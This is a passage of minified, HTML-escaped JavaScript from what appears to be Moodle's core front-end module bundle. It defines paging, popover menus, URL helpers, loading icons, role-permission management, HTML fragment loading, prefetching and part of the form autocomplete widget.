deferred=$.Deferred(),templateContext=buildTemplateContext(numberOfItems,itemsPerPage,config);return Templates.render(TEMPLATES_PAGED_CONTENT,templateContext).then((function(html,js){var id=(html=$(html)).attr(&quot;id&quot;);config.hasOwnProperty(&quot;eventNamespace&quot;)&amp;&amp;(id=config.eventNamespace);var container=html;PagedContent.init(container,renderPagesContentCallback,id),registerEvents(id,config),deferred.resolve(html,js)})).fail((function(exception){deferred.reject(exception)})).fail(Notification.exception),deferred.promise()},registerEvents=function(namespace,config){var persistentLimitKey;config.hasOwnProperty(&quot;persistentLimitKey&quot;)&amp;&amp;PubSub.subscribe(namespace+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT,(persistentLimitKey=config.persistentLimitKey,function(limit){var request={methodname:&quot;core_user_update_user_preferences&quot;,args:{preferences:[{type:persistentLimitKey,value:limit}]}};Ajax.call([request])}))};return{create:function(renderPagesContentCallback,config){return createWithTotalAndLimit(null,null,renderPagesContentCallback,config)},createWithLimit:function(itemsPerPage,renderPagesContentCallback,config){return createWithTotalAndLimit(null,itemsPerPage,renderPagesContentCallback,config)},createWithTotalAndLimit:createWithTotalAndLimit,createFromStaticList:function(contentItems,itemsPerPage,renderContentCallback,config){void 0===config&amp;&amp;(config={});var numberOfItems=contentItems.length;return createWithTotalAndLimit(numberOfItems,itemsPerPage,(function(pagesData){var contentToRender=[];return pagesData.forEach((function(pageData){var begin=pageData.offset,end=pageData.limit?begin+pageData.limit:numberOfItems,items=contentItems.slice(begin,end);contentToRender.push(items)})),renderContentCallback(contentToRender)}),config)},createFromAjax:createWithTotalAndLimit,resetLastPageNumber:function(id,lastPageNumber){PubSub.publish(id+PagedContentEvents.ALL_ITEMS_LOADED,lastPageNumber)}}}));
/**
 * A timer that will execute a callback with decreasing frequency. Useful for
 * doing polling on the server without overwhelming it with requests.
 *
 * @module     core/backoff_timer
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/backoff_timer&quot;,(function(){var BackoffTimer=function(callback,backoffFunction){this.callback=callback,this.backOffFunction=backoffFunction};return BackoffTimer.prototype.callback=null,BackoffTimer.prototype.backOffFunction=null,BackoffTimer.prototype.time=null,BackoffTimer.prototype.timeout=null,BackoffTimer.prototype.generateNextTime=function(){var newTime=this.backOffFunction(this.time);return this.time=newTime,newTime},BackoffTimer.prototype.reset=function(){return this.time=null,this.stop(),this},BackoffTimer.prototype.stop=function(){return this.timeout&amp;&amp;(window.clearTimeout(this.timeout),this.timeout=null),this},BackoffTimer.prototype.start=function(){if(!this.timeout){var time=this.generateNextTime();this.timeout=window.setTimeout(function(){this.callback(),this.stop(),this.start()}.bind(this),time)}return this},BackoffTimer.prototype.restart=function(){return this.reset().start()},BackoffTimer.getIncrementalCallback=function(minamount,incrementamount,maxamount,timeoutamount){return function(time){return time?time+incrementamount&gt;maxamount?timeoutamount:time+incrementamount:minamount}},BackoffTimer}));
/**
 * Controls the popover region element.
 *
 * See template: core/popover_region
 *
 * @module     core/popover_region_controller
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;core/popover_region_controller&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/custom_interaction_events&quot;],(function($,str,customEvents){var SELECTORS_CONTENT=&quot;.popover-region-content&quot;,SELECTORS_CONTENT_CONTAINER=&quot;.popover-region-content-container&quot;,SELECTORS_MENU_CONTAINER=&quot;.popover-region-container&quot;,SELECTORS_MENU_TOGGLE=&quot;.popover-region-toggle&quot;,SELECTORS_CAN_RECEIVE_FOCUS=&#039;input:not([type=&quot;hidden&quot;]), a[href], button, textarea, select, [tabindex]&#039;,PopoverRegionController=function(element){this.root=$(element),this.content=this.root.find(SELECTORS_CONTENT),this.contentContainer=this.root.find(SELECTORS_CONTENT_CONTAINER),this.menuContainer=this.root.find(SELECTORS_MENU_CONTAINER),this.menuToggle=this.root.find(SELECTORS_MENU_TOGGLE),this.isLoading=!1,this.promises={closeHandlers:$.Deferred(),navigationHandlers:$.Deferred()},this.registerBaseEventListeners()};return PopoverRegionController.prototype.events=function(){return{menuOpened:&quot;popoverregion:menuopened&quot;,menuClosed:&quot;popoverregion:menuclosed&quot;,startLoading:&quot;popoverregion:startLoading&quot;,stopLoading:&quot;popoverregion:stopLoading&quot;}},PopoverRegionController.prototype.getContentContainer=function(){return this.contentContainer},PopoverRegionController.prototype.getContent=function(){return this.content},PopoverRegionController.prototype.isMenuOpen=function(){return!this.root.hasClass(&quot;collapsed&quot;)},PopoverRegionController.prototype.toggleMenu=function(){this.isMenuOpen()?this.closeMenu():this.openMenu()},PopoverRegionController.prototype.closeMenu=function(){this.isMenuOpen()&amp;&amp;(this.root.addClass(&quot;collapsed&quot;),this.menuContainer.attr(&quot;aria-expanded&quot;,&quot;false&quot;),this.menuContainer.attr(&quot;aria-hidden&quot;,&quot;true&quot;),this.updateButtonAriaLabel(),this.updateFocusItemTabIndex(),this.root.trigger(this.events().menuClosed))},PopoverRegionController.prototype.openMenu=function(){this.isMenuOpen()||(this.root.removeClass(&quot;collapsed&quot;),this.menuContainer.attr(&quot;aria-expanded&quot;,&quot;true&quot;),this.menuContainer.attr(&quot;aria-hidden&quot;,&quot;false&quot;),this.updateButtonAriaLabel(),this.updateFocusItemTabIndex(),this.promises.closeHandlers.resolve(),this.promises.navigationHandlers.resolve(),this.root.trigger(this.events().menuOpened))},PopoverRegionController.prototype.updateButtonAriaLabel=function(){this.isMenuOpen()?str.get_string(&quot;hidepopoverwindow&quot;).done(function(string){this.menuToggle.attr(&quot;aria-label&quot;,string)}.bind(this)):str.get_string(&quot;showpopoverwindow&quot;).done(function(string){this.menuToggle.attr(&quot;aria-label&quot;,string)}.bind(this))},PopoverRegionController.prototype.startLoading=function(){this.isLoading=!0,this.getContentContainer().addClass(&quot;loading&quot;),this.getContentContainer().attr(&quot;aria-busy&quot;,&quot;true&quot;),this.root.trigger(this.events().startLoading)},PopoverRegionController.prototype.stopLoading=function(){this.isLoading=!1,this.getContentContainer().removeClass(&quot;loading&quot;),this.getContentContainer().attr(&quot;aria-busy&quot;,&quot;false&quot;),this.root.trigger(this.events().stopLoading)},PopoverRegionController.prototype.focusMenuToggle=function(){this.menuToggle.focus()},PopoverRegionController.prototype.contentItemHasFocus=function(){return this.getContentItemWithFocus().length&gt;0},PopoverRegionController.prototype.getContentItemWithFocus=function(){var currentFocus=$(document.activeElement),items=this.getContent().children(),currentItem=items.filter(currentFocus);return currentItem.length||(currentItem=items.has(currentFocus)),currentItem},PopoverRegionController.prototype.focusContentItem=function(item){item.is(SELECTORS_CAN_RECEIVE_FOCUS)?item.focus():item.find(SELECTORS_CAN_RECEIVE_FOCUS).first().focus()},PopoverRegionController.prototype.focusFirstContentItem=function(){this.focusContentItem(this.getContent().children().first())},PopoverRegionController.prototype.focusLastContentItem=function(){this.focusContentItem(this.getContent().children().last())},PopoverRegionController.prototype.focusNextContentItem=function(){var currentItem=this.getContentItemWithFocus();currentItem.length&amp;&amp;currentItem.next()&amp;&amp;this.focusContentItem(currentItem.next())},PopoverRegionController.prototype.focusPreviousContentItem=function(){var currentItem=this.getContentItemWithFocus();currentItem.length&amp;&amp;currentItem.prev()&amp;&amp;this.focusContentItem(currentItem.prev())},PopoverRegionController.prototype.registerBaseEventListeners=function(){customEvents.define(this.root,[customEvents.events.activate,customEvents.events.escape]),this.root.on(customEvents.events.activate,SELECTORS_MENU_TOGGLE,function(){this.toggleMenu()}.bind(this)),this.promises.closeHandlers.done(function(){this.root.on(customEvents.events.escape,function(){this.closeMenu(),this.focusMenuToggle()}.bind(this)),$(&quot;html&quot;).click(function(e){var target=$(e.target);this.root.is(target)||this.root.has(target).length||this.closeMenu()}.bind(this)),customEvents.define(this.getContentContainer(),[customEvents.events.scrollBottom])}.bind(this))},PopoverRegionController.prototype.registerListNavigationEventListeners=function(){customEvents.define(this.root,[customEvents.events.down]),this.root.on(customEvents.events.down,function(e,data){this.isMenuOpen()?this.contentItemHasFocus()?this.focusNextContentItem():this.focusFirstContentItem():(this.openMenu(),this.focusFirstContentItem()),data.originalEvent.preventDefault()}.bind(this)),this.promises.navigationHandlers.done(function(){customEvents.define(this.root,[customEvents.events.up,customEvents.events.home,customEvents.events.end]),this.root.on(customEvents.events.up,function(e,data){this.focusPreviousContentItem(),data.originalEvent.preventDefault()}.bind(this)),this.root.on(customEvents.events.home,function(e,data){this.focusFirstContentItem(),data.originalEvent.preventDefault()}.bind(this)),this.root.on(customEvents.events.end,function(e,data){this.focusLastContentItem(),data.originalEvent.preventDefault()}.bind(this))}.bind(this))},PopoverRegionController.prototype.updateFocusItemTabIndex=function(){this.isMenuOpen()?this.menuContainer.find(SELECTORS_CAN_RECEIVE_FOCUS).removeAttr(&quot;tabindex&quot;):this.menuContainer.find(SELECTORS_CAN_RECEIVE_FOCUS).attr(&quot;tabindex&quot;,&quot;-1&quot;)},PopoverRegionController}));
/**
 * URL utility functions.
 *
 * @module     core/url
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/url&quot;,[&quot;jquery&quot;,&quot;core/config&quot;],(function($,config){return{fileUrl:function(relativeScript,slashArg){var url=config.wwwroot+relativeScript;return&quot;/&quot;!=slashArg.charAt(0)&amp;&amp;(slashArg=&quot;/&quot;+slashArg),config.slasharguments?url+=slashArg:url+=&quot;?file=&quot;+encodeURIComponent(slashArg),url},relativeUrl:function(relativePath,params,includeSessKey){if(0===relativePath.indexOf(&quot;http:&quot;)||0===relativePath.indexOf(&quot;https:&quot;)||relativePath.indexOf(&quot;://&quot;)&gt;=0)throw new Error(&quot;relativeUrl function does not accept absolute urls&quot;);&quot;/&quot;!=relativePath.charAt(0)&amp;&amp;(relativePath=&quot;/&quot;+relativePath),&quot;admin&quot;!==config.admin&amp;&amp;(relativePath=relativePath.replace(/^\/admin\//,&quot;/&quot;+config.admin+&quot;/&quot;)),params=params||{},includeSessKey&amp;&amp;(params.sesskey=config.sesskey);var queryString=&quot;&quot;;return Object.keys(params).length&amp;&amp;(queryString=$.map(params,(function(value,param){return param+&quot;=&quot;+value})).join(&quot;&amp;&quot;)),&quot;&quot;!==queryString?config.wwwroot+relativePath+&quot;?&quot;+queryString:config.wwwroot+relativePath},imageUrl:function(imagename,component){return M.util.image_url(imagename,component)}}}));
define(&quot;core/aria&quot;,[&quot;exports&quot;,&quot;./local/aria/aria-hidden&quot;],(function(_exports,_ariaHidden){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;hide&quot;,{enumerable:!0,get:function(){return _ariaHidden.hide}}),Object.defineProperty(_exports,&quot;hideSiblings&quot;,{enumerable:!0,get:function(){return _ariaHidden.hideSiblings}}),Object.defineProperty(_exports,&quot;unhide&quot;,{enumerable:!0,get:function(){return _ariaHidden.unhide}}),Object.defineProperty(_exports,&quot;unhideSiblings&quot;,{enumerable:!0,get:function(){return _ariaHidden.unhideSiblings}})}));
define(&quot;core/normalise&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;
/**
   * Normalisation helpers.
   *
   * @module     core/normalise
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.getList=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.getList=nodes=&gt;nodes instanceof HTMLElement?[nodes]:nodes instanceof Array?nodes:nodes instanceof NodeList?Array.from(nodes):nodes instanceof _jquery.default?nodes.get():Array.from(nodes)}));
define(&quot;core/drawer_events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={DRAWER_SHOWN:&quot;drawer-shown&quot;,DRAWER_HIDDEN:&quot;drawer-hidden&quot;},_exports.default}));
/**
 * Contain the logic for the loading icon.
 *
 * @module     core/loading_icon
 * @class      loading_icon
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/loadingicon&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;],(function($,Templates){var TEMPLATES_LOADING=&quot;core/loading&quot;,getIcon=function(){return Templates.render(TEMPLATES_LOADING,{})},addIconToContainerRemoveOnCompletion=function(container,loadingIconPromise){return getIcon().then((function(html){var loadingIcon=$(html).hide();return $(container).append(loadingIcon),loadingIcon.fadeIn(150),$.when(loadingIcon.promise(),loadingIconPromise)})).then((function(loadingIcon){return loadingIcon.fadeOut(100).promise()})).then((function(loadingIcon){loadingIcon.remove()}))};return{getIcon:getIcon,addIconToContainer:function(container){return getIcon().then((function(html){var loadingIcon=$(html).hide();return $(container).append(loadingIcon),loadingIcon.fadeIn(150),loadingIcon}))},addIconToContainerWithPromise:function(container){var loadingIconPromise=$.Deferred();return addIconToContainerRemoveOnCompletion(container,loadingIconPromise),loadingIconPromise},addIconToContainerRemoveOnCompletion:addIconToContainerRemoveOnCompletion}}));
/**
 * Expose the M.cfg global variable.
 *
 * @module     core/config
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/config&quot;,(function(){return M.cfg}));
define(&quot;core/modal_save_cancel&quot;,[&quot;exports&quot;,&quot;core/modal&quot;],(function(_exports,_modal){var obj;
/**
   * Contain the logic for the save/cancel modal.
   *
   * @module     core/modal_save_cancel
   * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_modal=(obj=_modal)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _modal.default{constructor(root){super(root),this.getFooter().find(this.getActionSelector(&quot;save&quot;)).length||Notification.exception({message:&quot;No save button found&quot;}),this.getFooter().find(this.getActionSelector(&quot;cancel&quot;)).length||Notification.exception({message:&quot;No cancel button found&quot;})}registerEventListeners(){super.registerEventListeners(),this.registerCloseOnSave(),this.registerCloseOnCancel()}setFooter(){Notification.exception({message:&quot;Can not change the footer of a save cancel modal&quot;})}setSaveButtonText(value){return this.setButtonText(&quot;save&quot;,value)}}return _exports.default=_default,_exports.default}));
/**
 * @copyright  2015 Martin Mastny &lt;mastnym@vscht.cz&gt;
 * @since      3.0
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/permissionmanager&quot;,[&quot;jquery&quot;,&quot;core/config&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/yui&quot;],(function($,config,notification,templates,Y){var contextid,contextname,adminurl,overideableroles,SELECTORS_ADDROLE=&quot;a.allowlink, a.prohibitlink&quot;,SELECTORS_REMOVEROLE=&quot;a.preventlink, a.unprohibitlink&quot;,SELECTORS_UNPROHIBIT=&quot;a.unprohibitlink&quot;,rolesloadedevent=$.Event(&quot;rolesloaded&quot;),panel=null,loadOverideableRoles=function(){var params={contextid:contextid,getroles:1,sesskey:config.sesskey};$.post(adminurl+&quot;roles/ajax.php&quot;,params,null,&quot;json&quot;).done((function(data){try{overideableroles=data,(loadOverideableRoles=function(){$(&quot;body&quot;).trigger(rolesloadedevent)})()}catch(err){notification.exception(err)}})).fail((function(jqXHR,status,error){notification.exception(error)}))},changePermissions=function(row,roleid,action){var params={contextid:contextid,roleid:roleid,sesskey:M.cfg.sesskey,action:action,capability:row.data(&quot;name&quot;)};$.post(adminurl+&quot;roles/ajax.php&quot;,params,null,&quot;json&quot;).done((function(data){var action=data;try{var templatedata={rolename:overideableroles[roleid],roleid:roleid,adminurl:adminurl,imageurl:M.util.image_url(&quot;t/delete&quot;,&quot;moodle&quot;)};switch(action){case&quot;allow&quot;:templatedata.spanclass=&quot;allowed&quot;,templatedata.linkclass=&quot;preventlink&quot;,templatedata.action=&quot;prevent&quot;,templatedata.icon=&quot;t/delete&quot;,templatedata.iconalt=M.util.get_string(&quot;deletexrole&quot;,&quot;core_role&quot;,overideableroles[roleid]);break;case&quot;prohibit&quot;:templatedata.spanclass=&quot;forbidden&quot;,templatedata.linkclass=&quot;unprohibitlink&quot;,templatedata.action=&quot;unprohibit&quot;,templatedata.icon=&quot;t/delete&quot;,templatedata.iconalt=M.util.get_string(&quot;deletexrole&quot;,&quot;core_role&quot;,overideableroles[roleid]);break;case&quot;prevent&quot;:return void row.find(&#039;a[data-role-id=&quot;&#039;+roleid+&#039;&quot;]&#039;).first().closest(&quot;.allowed&quot;).remove();case&quot;unprohibit&quot;:return void row.find(&#039;a[data-role-id=&quot;&#039;+roleid+&#039;&quot;]&#039;).first().closest(&quot;.forbidden&quot;).remove();default:return}templates.render(&quot;core/permissionmanager_role&quot;,templatedata).done((function(content){if(&quot;allow&quot;==action)$(content).insertBefore(row.find(&quot;.allowmore&quot;).first());else if(&quot;prohibit&quot;==action){$(content).insertBefore(row.find(&quot;.prohibitmore&quot;).first());var allowedLink=row.find(&quot;.allowedroles&quot;).first().find(&#039;a[data-role-id=&quot;&#039;+roleid+&#039;&quot;]&#039;);allowedLink&amp;&amp;allowedLink.first().closest(&quot;.allowed&quot;).remove()}panel.hide()})).fail(notification.exception)}catch(err){notification.exception(err)}})).fail((function(jqXHR,status,error){notification.exception(error)}))},handleAddRole=function(e){e.preventDefault();var link=$(e.currentTarget);$(&quot;body&quot;).one(&quot;rolesloaded&quot;,(function(){Y.use(&quot;moodle-core-notification-dialogue&quot;,(function(){var i,existingrolelinks,action=link.data(&quot;action&quot;),row=link.closest(&quot;tr.rolecap&quot;),confirmationDetails={cap:row.data(&quot;humanname&quot;),context:contextname},message=M.util.get_string(&quot;role&quot;+action+&quot;info&quot;,&quot;core_role&quot;,confirmationDetails);null===panel&amp;&amp;(panel=new M.core.dialogue({draggable:!0,modal:!0,closeButton:!0,width:&quot;450px&quot;})),panel.set(&quot;headerContent&quot;,M.util.get_string(&quot;role&quot;+action+&quot;header&quot;,&quot;core_role&quot;));var roles=[];switch(action){case&quot;allow&quot;:existingrolelinks=row.find(SELECTORS_REMOVEROLE);break;case&quot;prohibit&quot;:existingrolelinks=row.find(SELECTORS_UNPROHIBIT)}for(i in overideableroles){var disabled=&quot;&quot;;existingrolelinks.filter(&quot;[data-role-id=&#039;&quot;+i+&quot;&#039;]&quot;).length&amp;&amp;(disabled=&quot;disabled&quot;);var roledetails={roleid:i,rolename:overideableroles[i],disabled:disabled};roles.push(roledetails)}templates.render(&quot;core/permissionmanager_panelcontent&quot;,{message:message,roles:roles}).done((function(content){panel.set(&quot;bodyContent&quot;,content),panel.show(),$(&quot;div.role_buttons&quot;).on(&quot;click&quot;,&quot;button&quot;,(function(e){var roleid=$(e.currentTarget).data(&quot;role-id&quot;);changePermissions(row,roleid,action)}))})).fail(notification.exception)}))})),loadOverideableRoles()},handleRemoveRole=function(e){e.preventDefault();var link=$(e.currentTarget);$(&quot;body&quot;).one(&quot;rolesloaded&quot;,(function(){var action=link.data(&quot;action&quot;),roleid=link.data(&quot;role-id&quot;),row=link.closest(&quot;tr.rolecap&quot;),questionDetails={role:overideableroles[roleid],cap:row.data(&quot;humanname&quot;),context:contextname};notification.confirm(M.util.get_string(&quot;confirmunassigntitle&quot;,&quot;core_role&quot;),M.util.get_string(&quot;confirmrole&quot;+action,&quot;core_role&quot;,questionDetails),M.util.get_string(&quot;confirmunassignyes&quot;,&quot;core_role&quot;),M.util.get_string(&quot;confirmunassignno&quot;,&quot;core_role&quot;),(function(){changePermissions(row,roleid,action)}))})),loadOverideableRoles()};return{initialize:function(args){contextid=args.contextid,contextname=args.contextname,adminurl=args.adminurl;var body=$(&quot;body&quot;);body.on(&quot;click&quot;,SELECTORS_ADDROLE,handleAddRole),body.on(&quot;click&quot;,SELECTORS_REMOVEROLE,handleRemoveRole)}}}));
/**
 * A way to call HTML fragments to be inserted as required via JavaScript.
 *
 * @module     core/fragment
 * @copyright  2016 Adrian Greeve &lt;adrian@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;core/fragment&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;],(function($,ajax){var processCollectedJavascript=function(js){var jsNodes=$(js),allScript=&quot;&quot;;return jsNodes.each((function(index,scriptNode){var tagName=(scriptNode=$(scriptNode)).prop(&quot;tagName&quot;);if(tagName&amp;&amp;&quot;script&quot;==tagName.toLowerCase())if(scriptNode.attr(&quot;src&quot;)){var exists=!1;$(&quot;script&quot;).each((function(index,s){return $(s).attr(&quot;src&quot;)==scriptNode.attr(&quot;src&quot;)&amp;&amp;(exists=!0),!exists})),exists||(allScript+=&quot; { &quot;,allScript+=&#039; node = document.createElement(&quot;script&quot;); &#039;,allScript+=&#039; node.type = &quot;text/javascript&quot;; &#039;,allScript+=&#039; node.src = decodeURI(&quot;&#039;+encodeURI(scriptNode.attr(&quot;src&quot;))+&#039;&quot;); &#039;,allScript+=&#039; document.getElementsByTagName(&quot;head&quot;)[0].appendChild(node); &#039;,allScript+=&quot; } &quot;)}else allScript+=&quot; &quot;+scriptNode.text()})),allScript};return{loadFragment:function(component,callback,contextid,params){var promise=$.Deferred();return function(component,callback,contextid,params){var formattedparams=[];for(var index in params)formattedparams.push({name:index,value:params[index]});return ajax.call([{methodname:&quot;core_get_fragment&quot;,args:{component:component,callback:callback,contextid:contextid,args:formattedparams}}])[0]}(component,callback,contextid,params).then((function(data){promise.resolve(data.html,processCollectedJavascript(data.javascript))})).fail((function(ex){promise.reject(ex)})),promise.promise()},processCollectedJavascript:function(js){return processCollectedJavascript(js)}}}));
/**
 * Expose the global YUI variable. Note: This is only for scripts that are writing AMD
 * wrappers for YUI functionality. This is not for plugins.
 *
 * @module     core/yui
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/yui&quot;,(function(){return Y}));
define(&quot;core/prefetch&quot;,[&quot;exports&quot;,&quot;core/config&quot;],(function(_exports,_config){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_config=(obj=_config)&amp;&amp;obj.__esModule?obj:{default:obj};var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};let prefetchTimer,initialPrefetchComplete=!1,templateList=[],stringList={};const fetchQueue=()=&gt;{if(templateList){const templatesToLoad=templateList.slice();templateList=[],(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/templates&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/templates&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/templates&quot;])).then((Templates=&gt;Templates.prefetchTemplates(templatesToLoad))).catch()}const mappedStringsToFetch=stringList;stringList={};const stringsToFetch=[];Object.keys(mappedStringsToFetch).forEach((component=&gt;{stringsToFetch.push(...mappedStringsToFetch[component].map((key=&gt;({component:component,key:key}))))})),stringsToFetch&amp;&amp;(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/str&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/str&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/str&quot;])).then((Str=&gt;Str.get_strings(stringsToFetch))).catch()},processQueue=()=&gt;{prefetchTimer||(initialPrefetchComplete?fetchQueue():prefetchTimer=setTimeout((()=&gt;{initialPrefetchComplete=!0,prefetchTimer=null,(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([_config.default.iconsystemmodule],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(_config.default.iconsystemmodule)):Promise.resolve(_systemImportTransformerGlobalIdentifier[_config.default.iconsystemmodule])).then((IconSystem=&gt;{const iconSystem=new IconSystem;return prefetchTemplate(iconSystem.getTemplateName()),iconSystem})).then((iconSystem=&gt;{fetchQueue(),iconSystem.init()})).catch()}),500))},prefetchTemplates=templatesNames=&gt;{templateList=templateList.concat(templatesNames),processQueue()},prefetchTemplate=templateName=&gt;{prefetchTemplates([templateName])},prefetchStrings=(component,keys)=&gt;{stringList[component]||(stringList[component]=[]),stringList[component]=stringList[component].concat(keys),processQueue()};prefetchTemplates([].concat([&quot;core/loading&quot;],[&quot;core/modal&quot;],[&quot;core/modal_backdrop&quot;])),prefetchStrings(&quot;core&quot;,[&quot;cancel&quot;,&quot;closebuttontitle&quot;,&quot;loading&quot;,&quot;savechanges&quot;]),prefetchStrings(&quot;core_form&quot;,[&quot;showless&quot;,&quot;showmore&quot;]);var _default={prefetchTemplate:prefetchTemplate,prefetchTemplates:prefetchTemplates,prefetchString:(component,key)=&gt;{stringList[component]||(stringList[component]=[]),stringList[component].push(key),processQueue()},prefetchStrings:prefetchStrings};return _exports.default=_default,_exports.default}));
/**
 * Autocomplete wrapper for select2 library.
 *
 * @module     core/form-autocomplete
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.0
 */
define(&quot;core/form-autocomplete&quot;,[&quot;jquery&quot;,&quot;core/log&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/loadingicon&quot;,&quot;core/aria&quot;,&quot;core_form/changechecker&quot;],(function($,log,str,templates,notification,LoadingIcon,Aria,FormChangeChecker){var KEYS_DOWN=40,KEYS_ENTER=13,KEYS_SPACE=32,KEYS_ESCAPE=27,KEYS_COMMA=44,KEYS_UP=38,KEYS_LEFT=37,KEYS_RIGHT=39,uniqueId=Date.now(),activateSelection=function(index,state){var selectionElement=$(document.getElementById(state.selectionId)),length=selectionElement.children(&quot;[aria-selected=true]&quot;).length;for(index%=length;index&lt;0;)index+=length;var element=$(selectionElement.children(&quot;[aria-selected=true]&quot;).get(index)),itemId=state.selectionId+&quot;-&quot;+index;return selectionElement.children().attr(&quot;data-active-selection&quot;,null).attr(&quot;id&quot;,&quot;&quot;),element.attr(&quot;data-active-selection&quot;,!0).attr(&quot;id&quot;,itemId),selectionElement.attr(&quot;aria-activedescendant&quot;,itemId),selectionElement.attr(&quot;data-active-value&quot;,element.attr(&quot;data-value&quot;)),$.Deferred().resolve()},updateActiveSelectionFromState=function(state){var activeElement=function(state){var _selectionRegion$attr,selectionRegion=$(document.getElementById(state.selectionId)),activeId=selectionRegion.attr(&quot;aria-activedescendant&quot;);if(activeId){var activeElement=$(document.getElementById(activeId));if(activeElement.length)return activeElement}var activeValue=null===(_selectionRegion$attr=selectionRegion.attr(&quot;data-active-value&quot;))||void 0===_selectionRegion$attr?void 0:_selectionRegion$attr.replace(/&quot;/g,&#039;\\&quot;&#039;);return selectionRegion.find(&#039;[data-value=&quot;&#039;+activeValue+&#039;&quot;]&#039;)}(state),activeValue=activeElement.attr(&quot;data-value&quot;),selectionRegion=$(document.getElementById(state.selectionId));if(activeValue){var activeIndex=selectionRegion.find(&quot;[aria-selected=true]&quot;).index(activeElement);if(-1!==activeIndex)return void activateSelection(activeIndex,state)}activateSelection(0,state)},updateSelectionList=function(options,state,originalSelect){var pendingKey=&quot;form-autocomplete-updateSelectionList-&quot;+state.inputId;M.util.js_pending(pendingKey);var items=[],newSelection=$(document.getElementById(state.selectionId));if(originalSelect.children(&quot;option&quot;).each((function(index,ele){var label;$(ele).prop(&quot;selected&quot;)&amp;&amp;(&quot;&quot;!==(label=$(ele).data(&quot;html&quot;)?$(ele).data(&quot;html&quot;):$(ele).html())&amp;&amp;items.push({label:label,value:$(ele).attr(&quot;value&quot;)}))})),!hasItemListChanged(state,items))return M.util.js_complete(pendingKey),Promise.resolve();state.items=items;var context=$.extend(options,state);return templates.render(options.templates.items,context).then((function(html,js){templates.replaceNodeContents(newSelection,html,js),updateActiveSelectionFromState(state)})).then((function(){return 